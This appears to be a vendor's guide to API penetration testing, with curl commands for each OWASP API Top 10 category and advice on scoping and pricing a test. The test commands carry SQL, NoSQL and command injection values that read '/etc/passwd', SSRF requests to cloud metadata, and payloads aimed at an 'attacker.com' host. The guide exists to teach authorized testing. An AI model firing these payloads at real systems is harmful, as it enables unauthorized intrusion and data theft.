API penetration testing identifies vulnerabilities before attackers do. This guide covers the methodology, the tooling, and hands-on techniques for testing every category in the OWASP API Top 10 (2023) — and then the part most technique guides leave out: how to scope an API pentest and what one actually costs in 2026.
That second half is the reason this page exists alongside the excellent free technique references from OWASP and PortSwigger. If you are a security engineer learning to test APIs yourself, those are outstanding and you should use them. If you are the person who has to decide whether to test in-house or buy an engagement, write the scope, and defend the budget, keep reading — that material starts at scoping and cost.
API Pentesting Methodology
┌─────────────────────────────────────────────────────────────────────────────┐
│ API PENETRATION TESTING PHASES │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. RECONNAISSANCE │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ • API documentation review (OpenAPI, Swagger) │ │
│ │ • Endpoint discovery (fuzzing, JS analysis, mobile app reversing) │ │
│ │ • Technology fingerprinting (headers, error messages) │ │
│ │ • Authentication mechanism identification │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 2. MAPPING │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ • Catalog all endpoints and methods │ │
│ │ • Identify parameters and data types │ │
│ │ • Map authentication requirements │ │
│ │ • Document authorization model │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 3. VULNERABILITY TESTING │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ • OWASP API Top 10 testing │ │
│ │ • Authentication/authorization bypass │ │
│ │ • Injection testing (SQL, NoSQL, Command) │ │
│ │ • Business logic testing │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ 4. EXPLOITATION & VALIDATION │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ • Confirm vulnerabilities are exploitable │ │
│ │ • Assess real-world impact │ │
│ │ • Chain vulnerabilities for greater impact │ │
│ │ • Document with evidence │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Tools Setup
Burp Suite Configuration
# Start Burp with API-focused configuration
java -jar burpsuite_pro.jar
# Recommended extensions for API testing:
# - JSON Beautifier
# - JWT Editor
# - Autorize (authorization testing)
# - Param Miner (hidden parameter discovery)
# - Active Scan++ (enhanced scanning)
OWASP ZAP Setup
# Install ZAP
brew install zaproxy # macOS
# or download from https://www.zaproxy.org/
# Start ZAP with API scanning mode
zap.sh -daemon -port 8080 -config api.key=your-api-key
# Import OpenAPI spec
curl "http://localhost:8080/JSON/openapi/action/importUrl/?url=https://api.example.com/openapi.json&apikey=your-api-key"
# Run active scan
curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://api.example.com&apikey=your-api-key"
Postman Security Testing
// Postman pre-request script for auth testing
pm.environment.set("auth_token", pm.environment.get("valid_token"));
// Postman test script for security checks
pm.test("No sensitive data in response", () => {
const response = pm.response.json();
pm.expect(JSON.stringify(response)).to.not.include("password");
pm.expect(JSON.stringify(response)).to.not.include("ssn");
});
pm.test("Proper status code", () => {
pm.expect(pm.response.code).to.be.oneOf([200, 201, 204]);
});
pm.test("Security headers present", () => {
pm.expect(pm.response.headers.get("X-Content-Type-Options")).to.eql("nosniff");
pm.expect(pm.response.headers.get("Strict-Transport-Security")).to.exist;
});
OWASP API Top 10 Testing
API1: Broken Object Level Authorization (BOLA)
# Test BOLA by changing object IDs
# 1. Get your own resource
curl -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/users/123/profile"
# 2. Try accessing another user's resource
curl -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/users/124/profile" # Different ID
# 3. Try predictable IDs
for id in $(seq 1 100); do
response=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://api.example.com/users/$id/profile")
if [ "$response" = "200" ]; then
echo "Accessible: $id"
fi
done
# 4. Test with UUIDs from other sessions
curl -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/orders/550e8400-e29b-41d4-a716-446655440000"
API2: Broken Authentication
# Test authentication weaknesses
# 1. Access without token
curl "https://api.example.com/api/users"
# 2. Test with expired token
curl -H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://api.example.com/api/users"
# 3. Test with malformed token
curl -H "Authorization: Bearer invalid.token.here" \
"https://api.example.com/api/users"
# 4. JWT manipulation (use jwt_tool)
# Decode JWT
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null
# Change algorithm to none
python3 jwt_tool.py "$TOKEN" -X a
# Change user ID in payload
python3 jwt_tool.py "$TOKEN" -I -pc user_id -pv "admin"
API3: Broken Object Property Level Authorization
# Test for accessing unauthorized fields
# 1. Check response for sensitive fields you shouldn't see
curl -H "Authorization: Bearer $USER_TOKEN" \
"https://api.example.com/users/me" | jq .
# Look for fields like: password_hash, ssn, internal_notes, admin_flags
# 2. Test field-level filtering
curl -H "Authorization: Bearer $USER_TOKEN" \
"https://api.example.com/users/me?fields=password_hash,ssn"
# 3. GraphQL field exposure
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ user(id: 1) { name email passwordHash internalNotes }}"}' \
"https://api.example.com/graphql"
API4: Unrestricted Resource Consumption
# Test rate limiting and resource exhaustion
# 1. Rapid requests to test rate limiting
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}\n" \
"https://api.example.com/api/search?q=test" &
done
wait
# 2. Large payload test
curl -X POST \
-H "Content-Type: application/json" \
-d "{\"data\": \"$(python3 -c 'print("A" * 10000000)')\"}" \
"https://api.example.com/api/upload"
# 3. Complex query (GraphQL)
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ users { friends { friends { friends { friends { name }}}}}}"}' \
"https://api.example.com/graphql"
# 4. Pagination abuse
curl "https://api.example.com/api/users?limit=999999&offset=0"
API5: Broken Function Level Authorization
# Test access to privileged functions
# 1. Access admin endpoints as regular user
curl -H "Authorization: Bearer $USER_TOKEN" \
"https://api.example.com/admin/users"
curl -H "Authorization: Bearer $USER_TOKEN" \
-X DELETE "https://api.example.com/admin/users/123"
# 2. Test method-based auth bypass
curl -H "Authorization: Bearer $USER_TOKEN" \
-X GET "https://api.example.com/admin/config" # May be blocked
curl -H "Authorization: Bearer $USER_TOKEN" \
-X OPTIONS "https://api.example.com/admin/config" # May work
# 3. Test internal endpoints
curl "https://api.example.com/internal/metrics"
curl "https://api.example.com/debug/vars"
curl "https://api.example.com/actuator/health"
API6: Server-Side Request Forgery (SSRF)
# Test parameters that accept URLs
# 1. Internal network access
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8080/admin"}' \
"https://api.example.com/api/fetch"
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1:22"}' \
"https://api.example.com/api/preview"
# 2. Cloud metadata endpoints
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}' \
"https://api.example.com/api/import"
# 3. Internal service discovery
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "http://internal-api.local/health"}' \
"https://api.example.com/api/webhook"
# 4. Protocol smuggling
curl -X POST \
-H "Content-Type: application/json" \
-d '{"url": "file:///etc/passwd"}' \
"https://api.example.com/api/download"
API7: Security Misconfiguration
# Test for misconfigurations
# 1. Verbose error messages
curl -X POST \
-H "Content-Type: application/json" \
-d '{"email": "not-an-email"}' \
"https://api.example.com/api/users"
# Check for stack traces, SQL errors, internal paths
# 2. Debug endpoints
curl "https://api.example.com/debug"
curl "https://api.example.com/phpinfo.php"
curl "https://api.example.com/server-status"
curl "https://api.example.com/.env"
# 3. CORS misconfiguration
curl -H "Origin: https://evil.com" \
-I "https://api.example.com/api/users"
# Check Access-Control-Allow-Origin
# 4. Missing security headers
curl -I "https://api.example.com/api/users" | grep -iE "x-frame|x-content|strict-transport|content-security"
# 5. HTTP methods
curl -X OPTIONS "https://api.example.com/api/users"
curl -X TRACE "https://api.example.com/api/users"
API8: Injection
# SQL Injection testing
# 1. Error-based SQL injection
curl "https://api.example.com/api/users?id=1'"
curl "https://api.example.com/api/users?id=1 OR 1=1--"
curl "https://api.example.com/api/search?q=' UNION SELECT username,password FROM users--"
# 2. NoSQL injection (MongoDB)
curl -X POST \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' \
"https://api.example.com/api/login"
curl -X POST \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "admin.*"}}' \
"https://api.example.com/api/search"
# 3. Command injection
curl "https://api.example.com/api/ping?host=127.0.0.1;id"
curl "https://api.example.com/api/convert?file=test.pdf|cat /etc/passwd"
# 4. Use sqlmap for automated SQL injection testing
sqlmap -u "https://api.example.com/api/users?id=1" \
--headers="Authorization: Bearer $TOKEN" \
--dbs
API9: Improper Asset Management
# Find undocumented or old API versions
# 1. Version discovery
for v in v1 v2 v3 beta dev staging old legacy; do
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.example.com/$v/users")
echo "$v: $response"
done
# 2. Subdomain enumeration
amass enum -d example.com | grep api
# 3. Historical endpoints (Wayback Machine)
curl "http://web.archive.org/cdx/search/cdx?url=api.example.com/*&output=json"
# 4. JS file analysis for hidden endpoints
curl -s "https://example.com/app.js" | grep -oE '/api/[a-zA-Z0-9/_-]+'
API10: Unsafe Consumption of APIs
# Test how API handles external data
# 1. Webhook injection
curl -X POST \
-H "Content-Type: application/json" \
-d '{"callback_url": "https://attacker.com/capture?data="}' \
"https://api.example.com/api/webhooks"
# 2. External data validation
# If API fetches and processes external URLs
curl -X POST \
-H "Content-Type: application/json" \
-d '{"import_url": "https://attacker.com/malicious.xml"}' \
"https://api.example.com/api/import"
Mass Assignment Testing
# Test for mass assignment vulnerabilities
# 1. Add unauthorized fields to create request
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Test User",
"email": "test@example.com",
"role": "admin",
"isAdmin": true,
"verified": true,
"balance": 1000000
}' \
"https://api.example.com/api/users"
# 2. Check if fields were set
curl -H "Authorization: Bearer $TOKEN" \
"https://api.example.com/api/users/me" | jq .
# 3. Test on update endpoints
curl -X PATCH \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"role": "admin", "permissions": ["all"]}' \
"https://api.example.com/api/users/me"
Automated Testing with Nuclei
# nuclei-templates/api-bola.yaml
id: api-bola-test
info:
name: API BOLA Test
severity: high
description: Tests for Broken Object Level Authorization
requests:
- method: GET
path:
- "{{BaseURL}}/api/users/{{user_id}}"
headers:
Authorization: "Bearer {{token}}"
matchers:
- type: status
status:
- 200
- type: word
words:
- "email"
- "name"
condition: and
# Run Nuclei with API templates
nuclei -u https://api.example.com -t api-security/ \
-H "Authorization: Bearer $TOKEN"
Reporting Template
# API Penetration Test Report
## Executive Summary
- **Client**: Example Corp
- **Target**: api.example.com
- **Testing Period**: Jan 15-17, 2025
- **Risk Rating**: HIGH (3 Critical, 5 High, 8 Medium findings)
## Critical Findings
### 1. Broken Object Level Authorization (BOLA) - Critical
**CVSS**: 9.1 | **Endpoint**: /api/users/{id}/profile
**Description**: Any authenticated user can access any other user's profile by changing the user ID parameter.
**Evidence**:
```
# As User A (ID: 123)
curl -H "Authorization: Bearer $TOKEN_A" \
"https://api.example.com/api/users/456/profile"
# Response: User B's private data returned
{"id": 456, "email": "userb@example.com", "ssn": "xxx-xx-xxxx"}
```
**Impact**: Complete compromise of user data confidentiality. Attackers can enumerate and access all user profiles.
**Remediation**:
```javascript
// Add authorization check
async function getProfile(req, res) {
const requestedId = req.params.id;
const currentUserId = req.user.id;
if (requestedId !== currentUserId && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
// ...
}
```
[Continue for each finding...]
Best Practices
- Get authorization - Written scope and permission before testing
- Use safe testing data - Don't test with production data
- Test in staging first - Avoid impacting production
- Document everything - Record all requests and responses
- Report responsibly - Follow coordinated disclosure
- Automate regression tests - Add tests for found vulnerabilities
- Test authentication thoroughly - Most APIs have auth flaws
- Think like an attacker - What would you want to access?
- Chain vulnerabilities - Combine low-severity issues for impact
- Retest after fixes - Verify remediations are effective
Scoping and Buying an API Penetration Test
Everything above assumes you are doing the testing. If you are buying it, the questions change: how big is the scope, what should it cost, and how do you tell a real engagement from an automated scan with a PDF attached.
What an API Penetration Test Costs
Unlike GRC platform pricing, penetration testing pricing is partially public. We checked published ranges from testing firms on August 13, 2026:
| Source | Published range for API testing | Source date |
|---|---|---|
| DeepStrike | $6,000-$30,000 | Updated July 27, 2026 |
| VikingCloud | $5,000-$20,000 | November 10, 2025 |
Both agree on a floor near $5,000-$6,000 for a routine single-API engagement. They disagree on the ceiling, which tracks scope and customer base more than anything else — DeepStrike's higher ceiling reflects larger, more regulated scopes.
Two figures worth carrying into a vendor conversation: skilled testers bill roughly $100-$300/hour (DeepStrike), and SecurityMetrics states that an engagement priced under $4,000 is probably not a real penetration test — at those rates it buys 15-30 hours, which after reporting overhead is not enough for meaningful manual coverage. For an API, that matters more than for most target types, because the highest-severity API vulnerabilities are precisely the ones scanners cannot find.
Why Automated Scanning Under-Tests APIs Specifically
This is the single most important thing to understand when scoping an API engagement. Look at what tops the OWASP API Top 10:
- API1: BOLA — requires knowing that object ID 1043 belongs to a different tenant. A scanner sees a valid 200 response and moves on.
- API3: Broken Object Property Level Authorization — requires knowing which fields a given role should be able to read or write. That is business context, not a signature.
- API5: Broken Function Level Authorization — requires an authorization matrix of roles against endpoints.
- API6: Unrestricted Access to Sensitive Business Flows — requires understanding what the business flow is for.
Four of the top categories are authorization and business-logic flaws that are invisible without human understanding of the application's intent. This is why an API pentest quote should be read primarily as a manual-hours quote. Ask what percentage of the engagement is manual, and how many roles and endpoints are covered in the authorization matrix.
Scoping Inputs to Prepare
Providing these up front converts reconnaissance hours into testing hours, which is the cheapest way to increase the value of a fixed budget:
| Input | Why the tester needs it |
|---|---|
| OpenAPI/Swagger spec | Defines the endpoint inventory. Without it, the tester spends hours on discovery, and undocumented endpoints — often the vulnerable ones — may be missed entirely. |
| Test accounts for every role | Authorization testing is combinatorial. An API with 5 roles has 20 role-pair privilege boundaries to check; each needs credentials. |
| Authentication flow documentation | OAuth flows, token lifetimes, refresh semantics, and signing keys determine which auth attacks are even applicable. |
| Rate-limit and WAF details | Tells the tester whether they are testing your API or your edge protection, and whether to request temporary allowlisting. |
| Environment decision | Staging that mirrors production is ideal. If testing production, agree on data-handling and destructive-technique limits in writing first. |
| Non-production data | Lets the tester demonstrate BOLA with real proof without ever touching customer records. |
For converting this into hour estimates and a defensible statement of work, the Penetration Test Scoping Calculator models API targets alongside your other scope, and our guide to penetration test scope, rules of engagement, and authorization covers the written authorization you need before anyone tests anything — including the separate permission required when your API is hosted on AWS, Azure, or GCP.
Compliance Drivers
If a framework is forcing the test, it also constrains the scope. PCI DSS Requirement 6.5 references OWASP directly and mandates application-layer testing for anything touching cardholder data; published PCI-driven engagement ranges run $12,000-$25,000. SOC 2 has no explicit penetration testing mandate, which is why SOC 2-driven tests are typically the narrowest and cheapest at $5,000-$20,000 — often a single application. Know which you are buying, because a SOC 2-scoped test will not satisfy a PCI assessor.
Next Steps
- Penetration Test Scope, Rules of Engagement, and Authorization - Scoping, authorization, and verified 2026 cost ranges
- Penetration Testing Methodology - The seven stages, and how PTES, OWASP, and NIST compare
- API Security Complete Guide - Comprehensive security overview
- API Security Testing Workflow - Systematic testing approach
- API Input Validation - Prevent injection attacks
- GraphQL Security - GraphQL-specific testing